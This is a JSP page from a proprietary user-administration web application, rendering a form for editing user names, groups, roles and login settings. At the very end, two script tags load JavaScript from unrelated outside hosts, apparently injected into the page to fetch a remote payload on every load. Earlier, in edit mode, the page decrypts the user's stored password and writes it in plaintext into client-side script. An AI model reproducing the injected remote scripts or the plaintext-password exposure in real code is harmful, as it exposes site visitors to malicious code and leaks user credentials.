<%
/*
 * @(#)EditUserRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditUserRecord.jsp

  This class is used for user record's edit and view only

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    15/07/2003
    @version          $Revision: 1.78.2.11 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.*"%>

<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id='maintUserRecordForm' scope="request" class='com.dcivision.user.web.MaintUserRecordForm'/>

<html:form action='user/MaintUserRecord' onsubmit='return false' styleClass="form-style-2">
<html:javascript formName='maintUserRecordForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String[][] STATUS_MAP     = { {"user.label.status_A", "A"},
                                {"user.label.status_I", "I"},
                                {"user.label.status_X", "X"}};

  String[][] PREFERENCE_MAP = { {"user.label.preference_1", "1"},
                                {"user.label.preference_2", "2"}};

  String[][] LANG_MAP       = { {"user.label.locale_en_US", "en_US"},
                                {"user.label.locale_zh_HK", "zh_HK"},
                                {"user.label.locale_zh_CN", "zh_CN"}};

  String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);

  PermissionManager permissionManager = sessionContainer.getPermissionManager();

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

   String loginNameLength = SystemParameterFactory.getSystemParameter(SystemParameterConstant.MINIMUM_LOGIN_NAME_LENGTH);
   String returnURL = "ListUserRecord.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
%>
<script language="Javascript">
<!--
function custOpSave(frm) {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialCharFromDiv(document.maintUserRecordForm.fullName, invalidChars, "<bean:message key='user.label.full_name'/> " + errorMessage,"tab1","basicTab")){
  	return (false);
  }
  alert(errorMessage+'1' );
  if (!validateSpecialCharFromDiv(document.maintUserRecordForm.loginName, invalidChars, "<bean:message key='user.label.login_name'/> " + errorMessage,"tab1","loginInfoTab")){
    return (false);
  }
  alert(errorMessage+'2' );
  
  if (!custValidate()) {
    return(false);
  }

  return OpSave();
}

// For selecting list dms
function popupSelectionPanel(ID) {
  var url = "<%= request.getContextPath() %>" + "/staff/MaintStaffRecord.do?SHOW_HEADER_FOOTER=N&navMode=E&ID="+ID;
  var name = "DCIVisionPopupStaffRecordPanel";
  var popW = "850";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function custOpSaveAndNew(frm) {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialCharFromDiv(document.maintUserRecordForm.fullName, invalidChars, "<bean:message key='user.label.full_name'/> " + errorMessage,"tab1","basicTab")){
  	return (false);
  }
  if (!validateSpecialCharFromDiv(document.maintUserRecordForm.loginName, invalidChars, "<bean:message key='user.label.login_name'/> " + errorMessage,"tab1","loginInfoTab")){
    return (false);
  }
  if (!custValidate()) {
    return(false);
  }

  return OpSaveAndNew();
}

function custValidate() {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
    }
  }

  var loginName = frm.loginName.value;

  if (loginName.length < <%=loginNameLength%> || loginName.length > 20) {
    alert("<bean:message key='errors.user.login_minimum_length' arg0="<%=loginNameLength%>"/>")
	showTab('tab1','loginInfoTab');
	frm.loginName.focus();
    return(false);
  }
  <% if (GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
    if (frm.loginPwd.value=="") {
      alert("<%=MessageResourcesFactory.getMessage((java.util.Locale)request.getSession().getAttribute(org.apache.struts.Globals.LOCALE_KEY), UserErrorConstant.PASSWORD_REQUIRED)%>");
	  showTab('tab1','loginInfoTab');
	  frm.loginPwd.focus();
      return(false);
    }
  <%}%>

  <%if ( (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
    if (frm.loginPwd.value != "" || frm.loginPwd2.value != "") {
    <%if(GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){
        String loginPwd = Crypt.decrypt(maintUserRecordForm.getLoginPwd(),
                SystemParameterFactory.getSystemParameter(SystemParameterConstant.CRYPTO_SALT));
      %>
        if (frm.loginPwd.value=="<%=loginPwd%>"){
          alert("<bean:message key='errors.login.new_password_cannot_same_original_password'/>");
          showTab('tab1','loginInfoTab');
	      frm.loginPwd.focus();
          return(false);
        }
    <%}%>
      if (frm.loginPwd.value != frm.loginPwd2.value) {
        alert("<%=MessageResourcesFactory.getMessage((java.util.Locale)request.getSession().getAttribute(org.apache.struts.Globals.LOCALE_KEY), UserErrorConstant.PASSWORD_NOT_MATCH)%>");
		showTab('tab1','loginInfoTab');
	    frm.loginPwd2.focus();
        return(false);
      }
      if (frm.loginPwd.value.length<6) {
        alert("<bean:message key='setup.label.pwd_min_length'/>");
		showTab('tab1','loginInfoTab');
        frm.loginPwd.focus();
        return(false);
      }
    }
  <%}%>
  showTab('tab1','basicTab');

  return(true);
}

var fullNameHasModified = false;
function autoFillFullName(frm) {
//  if (!fullNameHasModified) {
    frm.fullName.value = frm.firstName.value + " " + frm.lastName.value;
//  }
}

function changeImg(frm) {
  //for ( var i=1; i<=4; ++i ) {
    if (frm.userType[0].checked) {
      var tmpImg = FindObj("popupIcon1" );
      tmpImg.src = "<html:img src='LayoutSpacer.gif' pathOnly='true'/>";
    } else {
      var tmpImg = FindObj("popupIcon1");
      tmpImg.src = "<html:img src='IconSearchStaff.gif' pathOnly='true'/>";
    }
  //}
}

function clearRecord(frm) {
  frm.firstName.value = "";
  frm.lastName.value = "";
  frm.fullName.value = "";
  frm.email.value = "";
}

function showStaffRecord(property) {
  if (document.forms['maintUserRecordForm'].userType[1]) {
    if (document.forms['maintUserRecordForm'].userType[1].checked) {
      var url = "<%= request.getContextPath() %>" + "/staff/PopupStaffRecord.do?property=" + property + "&form=" + document.forms['maintUserRecordForm'].name + "&mode=multiple";
      var name = "DCIVisionPopupStaff";
      var popW = "700";
      var popH = "400";
      var feature = "scrollbars=yes,resizable=yes";

      return OpenCenteredPopup(url, name, popW, popH, feature);
    }
  }
}

function  popupMemberList(){
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
  var sPopupPath = 'ListUserMember.do?userRecordID=<%=maintUserRecordForm.getID()%>&memberType=<%=UserMember.MEMBER_TYPE_USER%>';
  var width = 800;
  var height = 600;

  OpenCenteredPopup(sPopupPath, "DCIVisionMemberList", width, height, sOptions);
}

function CheckPassword(obj){
  if(obj.value.indexOf(' ') > -1){
    alert("<bean:message key='errors.framework.password.character_error'/>");
    window.document.maintUserRecordForm.loginPwd.value="";
    window.document.maintUserRecordForm.loginPwd.focus();
    return false;
  }
  return true;
}

function confirmDeleteRecord(frm) {
  if (!confirm(MSG_CONFIRM_DELETE_RECORD)) {
    return(false);
  }

  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  if (confirm("<bean:message key='common.message.confirm_delete_related_staff'/>")) {
    frm.deleteStaff.value = "true";
  }else {
    frm.deleteStaff.value = "false";
  }
  frm.opMode.value = OP_MODE_DELETE;
  frm.navMode.value = "";
  return OpSubmit(frm);
}

function refreshPage() {
  window.location.href="../user/MaintUserRecord.do?navMode=E&ID=<bean:write name='maintUserRecordForm' scope='request' property='ID'/>";
}
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='deleteStaff'/>

<layout:tabContainer id="tab1">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar>
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/>
     <layout:tabPane id="loginInfoTab" title="user.label.login_info"/>
    
  </layout:tabBar>
<!-- Basic Tab DIV -->
 <div id="basicTab" class="tabContent">
 <table width="100%">
  <!-- Section Header (User Information) Begin-->
  <layout:sectionHeader name="user.label.user_info"/>
  <!-- Section Header End-->
  <!-- TODO: User Type Implemention for Staff, or Contact -->
  <html:hidden property='userLinkID'/>
  <%if ("0".equals(maintUserRecordForm.getID())) {%>
  <html:hidden property='userType' value=''/>
  <%} else {%>
  <tr>

    <td class="formLabelSmallMan"><bean:message key='user.label.user_type'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <%if (applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.STAFF)!=null) {%>
      <html:radio property='userType' value='S' tabindex="1" onclick='changeImg(this.form); clearRecord(this.form);'> <bean:message key='user.label.user_type_new_staff'/></html:radio>
      <html:radio property='userType' value='E' tabindex="2" onclick='changeImg(this.form); clearRecord(this.form);'> <bean:message key='user.label.user_type_existing_staff'/></html:radio>
      <%} else {%>
      <bean:message key='user.label.user_type_new_staff'/>
      <html:hidden property='userType' value='S'/>
      <%}%>&nbsp;&nbsp;&nbsp;
        <a href="javascript:void(0)" onclick='showStaffRecord("firstName")'>
        <% if ( ("E".equals(maintUserRecordForm.getNavMode()) || "C".equals(maintUserRecordForm.getNavMode())) && applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.STAFF)!=null && !"0".equals(maintUserRecordForm.getID())) { %>
          <html:img imageName="popupIcon1" src="IconSearchStaff.gif"/></a>
        <% } else { %>
          <html:img imageName="popupIcon1" src="LayoutSpacer.gif"/></a>
        <% } %>
    </td>
  </tr>
  <%}%>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='user.label.first_name'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:text property='firstName' tabindex="3" size='25' maxlength='99' onkeyup='autoFillFullName(this.form)' onfocus='if (this.form.userType[1] && this.form.userType[1].checked) this.blur();' styleClass="form-style-2-textfield"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='user.label.last_name'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:text property='lastName' tabindex="4" size='25' maxlength='99' onkeyup='autoFillFullName(this.form)' onfocus='if (this.form.userType[1] && this.form.userType[1].checked) this.blur();' styleClass="form-style-2-textfield"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.full_name'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:text property='fullName' tabindex="5" size='25' maxlength='200' onchange='fullNameHasModified=(this.value==\'\'?false:true)' onfocus='if (this.form.userType[1] && this.form.userType[1].checked) {this.blur();}' styleClass="form-style-2-textfield"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.email'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='email' tabindex="6" size='25' maxlength='200' onfocus='if (this.form.userType[1] && this.form.userType[1].checked) this.blur();' styleClass="form-style-2-textfield"/>
    </td>
  </tr>
  <%if (!"0".equals(maintUserRecordForm.getID())) {%>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.groups'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%
      String lyrBgColor = "#FFFFFF";
      if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
        lyrBgColor = "#EEEEEE";
      }
    %>
    <div id="permissionDiv" class="form-style-2-optionsDiv" style="width:500px;height:80px;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;">
    <logic:iterate id="userGroups" name="allGroupList" scope="request" indexId="listLoopCnt">
    <nobr><html:checkbox property='userGroups' tabindex="7" value='<%=((UserGroup)userGroups).getID().toString()%>'><bean:write name='userGroups' property='groupName'/></html:checkbox></nobr><br>
    </logic:iterate>
    </div>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.roles'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <div id="permissionDiv" class="form-style-2-optionsDiv" style="width:500px;height:80px;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;">
    <logic:iterate id="userRole" name="allRoleList" scope="request" indexId="listLoopCnt">
    <nobr><html:checkbox property='userRoles' tabindex="8" value='<%=((UserRole)userRole).getID().toString()%>'><bean:write name='userRole' property='roleName'/></html:checkbox></nobr><br>
    </logic:iterate>
    </div>
    </td>
  </tr>
  <%}%>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' width='1' height='12'/></td>
  </tr>
  </table>
  </div>

  <div id="loginInfoTab" class="tabContent">
  <table width="100%">
  <!-- Section Header (Login Information) Begin-->
  <layout:sectionHeader name="user.label.login_info" mandatory="false"/>
  <!-- Section Header End-->
  <tr>
    <td class="formLabelSmallMan"><bean:message key='user.label.login_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='loginName' tabindex="9" size='25' maxlength='20' styleClass="form-style-2-textfield"/> <font class="bodyVerySmall"><bean:message key='user.label.login_requirement' arg0='<%=loginNameLength%>'/></font></td>
  </tr>
  <tr>
    <td class='<%=(Utility.isEmpty(maintUserRecordForm.getID())) ? "formLabelSmallMan" : "formLabelSmall"%>' >
	<bean:message key='user.label.login_password'/>:&nbsp;</td>
    <td class="formFieldSmall">
       <% if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) { %>
        <input type='password' name='loginPwd' tabindex="10" size='25' maxlength='20' onblur="return CheckPassword(this)" class="form-style-2-textfield">
        <font class="bodyVerySmall"><bean:message key='user.label.password_requirement'/></font>
      <% }%>
    </td>
  </tr>
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
  <tr>
    <td class='<%=(Utility.isEmpty(maintUserRecordForm.getID())) ? "formLabelSmallMan" : "formLabelSmall"%>' >
	<bean:message key='user.label.retype_password'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <input type='password' name='loginPwd2' tabindex="11" size='25' maxlength='20' class="form-style-2-textfield">
    </td>
  </tr>
  <%}%>
  <tr>
    <td class="formLabelSmall" nowrap><bean:message key="user.label.allow_modify_password"/>:&nbsp;</td>
    <td class="formFieldSmall">
      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
        <%if (GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE) || "".equals(ACTION_MODE)) {%>
          <bean:message key="common.label.yes"/>
          <input type="radio" name="modifyLoginPwd" value="Y" <%if(SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SYSTEM_MODIFY_PASSWROD)){%>checked<%}%>>
          &nbsp;&nbsp;
          <bean:message key="common.label.no"/>
          <input type="radio" name="modifyLoginPwd" value="N" <%if(!SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SYSTEM_MODIFY_PASSWROD)){%>checked<%}%>>
        <%} else {%>
          <bean:message key="common.label.yes"/>
          <input type="radio" name="modifyLoginPwd" value="Y" <%if("Y".equals(maintUserRecordForm.getModifyLoginPwd())){%>checked<%}%>>
          &nbsp;&nbsp;
          <bean:message key="common.label.no"/>
          <input type="radio" name="modifyLoginPwd" value="N" <%if(!"Y".equals(maintUserRecordForm.getModifyLoginPwd())){%>checked<%}%>>
        <%}%>
      <%} else {%>
        <%if("Y".equals(maintUserRecordForm.getModifyLoginPwd())){%>
          <bean:message key="common.label.yes"/>
        <%} else {%>
          <bean:message key="common.label.no"/>
        <%}%>
      <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.max_attempt'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='maxAttempt' tabindex="12" size='10' maxlength='10' styleClass="form-style-2-short-textfield"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.password_expiry_day'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='pwdExpiryDay' tabindex="13" size='10' maxlength='10' styleClass="form-style-2-short-textfield"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.status'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="status" tabindex="14" styleClass="form-style-2-auto-pulldown">
        <html:options stringArray='<%=STATUS_MAP%>' hasSelect='false'/>
      </html:select>
    </td>
  </tr>
  <%if( SystemParameterFactory.getSystemParameterBoolean("system.allow_change_preference") ){%>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.preference'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="preference" tabindex="15" styleClass="form-style-2-auto-pulldown">
        <html:options stringArray='<%=PREFERENCE_MAP%>'/>
      </html:select>
    </td>
  </tr>
  <%}%>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.locale'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="locale" tabindex="16" styleClass="form-style-2-auto-pulldown">
        <html:options stringArray='<%=LANG_MAP%>'/>
      </html:select>
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' width='1' height='10'/></td>
  </tr>
  <tr>
    <td colspan="2" ><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' width='1' height='12'/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>

  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave();"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <html:permissionButton label="common.label.more" right="I" onClick="return custOpSaveAndNew();"/>
      <%}%>

      <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) && permissionManager.hasAccessRight(SystemFunctionConstant.STAFF_RECORD,"E") && "E".equals(maintUserRecordForm.getUserType())){%>
        <html:standardButton label="staff.label.staffrecord" onClick="return(popupSelectionPanel(${maintUserRecordForm.userLinkID}))"/>
      <%}%>

    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintUserRecordForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link='<%="MaintUserRecord.do?navMode=E&ID=" + maintUserRecordForm.getID() %>'/>

      <%if(permissionManager.hasAccessRight(SystemFunctionConstant.STAFF_RECORD,"E") && "E".equals(maintUserRecordForm.getUserType())){%>
        <html:standardButton label="staff.label.staffrecord" onClick="return(popupSelectionPanel(${maintUserRecordForm.userLinkID}))"/>

      <%}%>
    <%}%>

    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <%if (TextUtility.parseInteger(maintUserRecordForm.getID())>0) {%>
        <html:permissionButton label="common.label.delete" right="D" onClick="return confirmDeleteRecord();"/>
      <%} else {%>
        <html:standardButton label="common.label.delete" disable="true"/>
      <%}%>
    </logic:equal>
   </div>
   </div>
<%if (maintUserRecordForm.getID() == null) {%>
<input type="hidden" name="failedAttempt" value="0">
<%} else {%>
<html:hidden property='failedAttempt'/>
<%}%>

</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>